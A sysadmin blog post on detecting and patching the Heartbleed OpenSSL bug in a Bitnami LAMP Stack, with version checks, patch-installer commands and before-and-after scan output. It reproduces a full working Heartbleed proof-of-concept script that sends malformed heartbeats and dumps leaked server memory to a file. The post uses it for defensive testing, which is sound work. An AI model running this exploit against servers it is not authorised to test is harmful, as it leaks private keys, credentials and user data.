OpenSSL versions 1.0.1 through 1.0.1f (inclusive) are compromised with a vulnerability that makes it possible to steal information. Patched versions of the OpenSSL may have been back ported to the “built on” date newer or equal to April 2014 should be a good indicator if OpenSSL has been patched.
openssl version -b
While the Linux system may be patched, third-party application stacks may not be. In this example, an installation of an older version, 5.4.14-0, of a Bitnami LAMP Stack, was vulnerable and required patching. Bitnami issued a patch for their products, but it wasn’t completely clear to me which Bitnami products the patch would be applicable. However, the bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run, turns out to be the solution to patch the vulnerable OpenSSL within this version of the Bitnami LAMP Stack.
Test for the Heartbleed Bug
How to determine if the Heartbleed bug exists? There are a couple of detection methods that are available on the Internet. One that proved to be popular, inconclusive, and provides false-positives was with this following command.
echo quit | openssl s_client -connect localhost:443 -tlsextdebug 2>&1|grep 'server extension "heartbeat" (id=15)' || echo safe TLS server extension "heartbeat" (id=15), len=1
The command, when issued with an incorrect value or where OpenSSL was not implemented within the application, would under certain conditions provide a false-positive.
A better method for testing is through the use of a python script. The script:
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. # Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin) import sys import struct import socket import time import select import re from optparse import OptionParser import smtplib options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)') options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)') options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true') options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hbv10 = h2bin(''' 18 03 01 00 03 01 40 00 ''') hbv11 = h2bin(''' 18 03 02 00 03 01 40 00 ''') hbv12 = h2bin(''' 18 03 03 00 03 01 40 00 ''') def hexdump(s, dumpf, quiet): dump = open(dumpf,'a') dump.write(s) dump.close() if quiet: return for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' %04x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: if not rdata: return None else: return rdata r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s, dumpf, host, quiet): while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received from '+host+', server likely not vulnerable' return False if typ == 24: if not quiet: print 'Received heartbeat response:' hexdump(pay, dumpf, quiet) if len(pay) > 3: print 'WARNING: server '+ host +' returned more data than it should - server is vulnerable!' else: print 'Server '+host+' processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: if not quiet: print 'Received alert:' hexdump(pay, dumpf, quiet) print 'Server '+ host +' returned error, likely not vulnerable' return False def connect(host, port, quiet): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if not quiet: print 'Connecting...' sys.stdout.flush() s.connect((host, port)) return s def tls(s, quiet): if not quiet: print 'Sending Client Hello...' sys.stdout.flush() s.send(hello) if not quiet: print 'Waiting for Server Hello...' sys.stdout.flush() def parseresp(s): while True: typ, ver, pay = recvmsg(s) if typ == None: print 'Server closed connection without sending Server Hello.' return 0 # Look for server hello done message. if typ == 22 and ord(pay[0]) == 0x0E: return ver def check(host, port, dumpf, quiet, starttls): response = False if starttls: try: s = smtplib.SMTP(host=host,port=port) s.ehlo() s.starttls() except smtplib.SMTPException: print 'STARTTLS not supported...' s.quit() return False print 'STARTTLS supported...' s.quit() s = connect(host, port, quiet) s.settimeout(1) try: re = s.recv(1024) s.send('ehlo starttlstest\r\n') re = s.recv(1024) s.send('starttls\r\n') re = s.recv(1024) except socket.timeout: print 'Timeout issues, going ahead anyway, but it is probably broken ...' tls(s,quiet) else: s = connect(host, port, quiet) tls(s,quiet) version = parseresp(s) if version == 0: if not quiet: print "Got an error while parsing the response, bailing ..." return False else: version = version - 0x0300 if not quiet: print "Server TLS version was 1.%d\n" % version if not quiet: print 'Sending heartbeat request...' sys.stdout.flush() if (version == 1): s.send(hbv10) response = hit_hb(s,dumpf, host, quiet) if (version == 2): s.send(hbv11) response = hit_hb(s,dumpf, host, quiet) if (version == 3): s.send(hbv12) response = hit_hb(s,dumpf, host, quiet) s.close() return response def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return print 'Scanning ' + args[0] + ' on port ' + str(opts.port) for i in xrange(0,opts.num): check(args[0], opts.port, opts.file, opts.quiet, opts.starttls) if __name__ == '__main__': main()
Prior to executing the python script, make sure that the Apache server is running, one way to do this is with the following command.
netstat -ntlpn | grep httpd
To run add option -p for the appropriate port number to test, defaults to 443. And add a -q to display a more condensed response to the test. To really see the impact of the Heartbleed bug, run this command without the -q option to see the verbose output.
./ht.py bitnami.example.com -p 443 -q Scanning bitnami.example.com on port 443 ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 449 ... received message: type = 22, ver = 0302, length = 203 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server bitnami.example.com returned more data than it should - server is vulnerable!
Fix the Bitnami LAMP Stack
Probably for good measure stop the Apache service. Though tests without stopping the Apache service were successful in applying the patch and running the python script indicated that the patch had succeeded. The service may not have to be restarted. Though may be a good thing to do. Pending upon the level of impact of the service restart. If you haven’t already downloaded the 32-bit or 64-bit version of the bitnami-opensslfixer-1.0.1g-1, here are steps to do so.
# 64-bit wget https://downloads.bitnami.com/files/download/opensslfixer/bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run chmod +x ./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run #32-bit wget https://downloads.bitnami.com/files/download/opensslfixer/bitnami-opensslfixer-1.0.1g-1-linux-installer.run chmod +x ./bitnami-opensslfixer-1.0.1g-1-linux-installer.run
Discover the available options by running the –help extension.
./bitnami-opensslfixer-1.01g-1-linux-x64-installer.run --help
Run the patch in unattended mode, which likely starts the service upon completion!
./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run --mode unattended --prefix /opt/lamp-5.4.14-0 Detected vulnerable OpenSSL version, preparing to patch it... ./bitnami-opensslfixer-1.0.1g-1-linux-x64-installer.run --mode unattended --prefix /opt/lamp-5.4.14-0 Your OpenSSL version seems to be safe
You can also run the patch in normal mode and answer a few prompted questions.
./bitnami-opensslfixer-1.01g-1-linux-x64-installer.run
Start the Apache service if it is not already running and run the python script again. Note that the echo command used to determine OpenSSL will show evidence that the bug remains, so has proven ineffective. The python script should result in a favorable response.
./ht.py bitnami.example.com -p 443 -q Scanning bitnami.example.com on port 443 ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 449 ... received message: type = 22, ver = 0302, length = 203 ... received message: type = 22, ver = 0302, length = 4 Unexpected EOF receiving record header - server closed connection No heartbeat response received from bitnami.example.com, server likely not vulnerable
What files are patched?
lamp-5.4.14-0/common/bin/openssl.bin lamp-5.4.14-0/common/lib/engines/lib4758cca.so lamp-5.4.14-0/common/lib/engines/libaep.so lamp-5.4.14-0/common/lib/engines/libatalla.so lamp-5.4.14-0/common/lib/engines/libcapi.so lamp-5.4.14-0/common/lib/engines/libchil.so lamp-5.4.14-0/common/lib/engines/libcswift.so lamp-5.4.14-0/common/lib/engines/libgmp.so lamp-5.4.14-0/common/lib/engines/libgost.so lamp-5.4.14-0/common/lib/engines/libnuron.so lamp-5.4.14-0/common/lib/engines/libpadlock.so lamp-5.4.14-0/common/lib/engines/libsureware.so lamp-5.4.14-0/common/lib/engines/libubsec.so lamp-5.4.14-0/common/lib/libcrypto.so lamp-5.4.14-0/common/lib/libcrypto.so.1.0.0 lamp-5.4.14-0/common/lib/libssl.so lamp-5.4.14-0/common/lib/libssl.so.1.0.0
0 Comments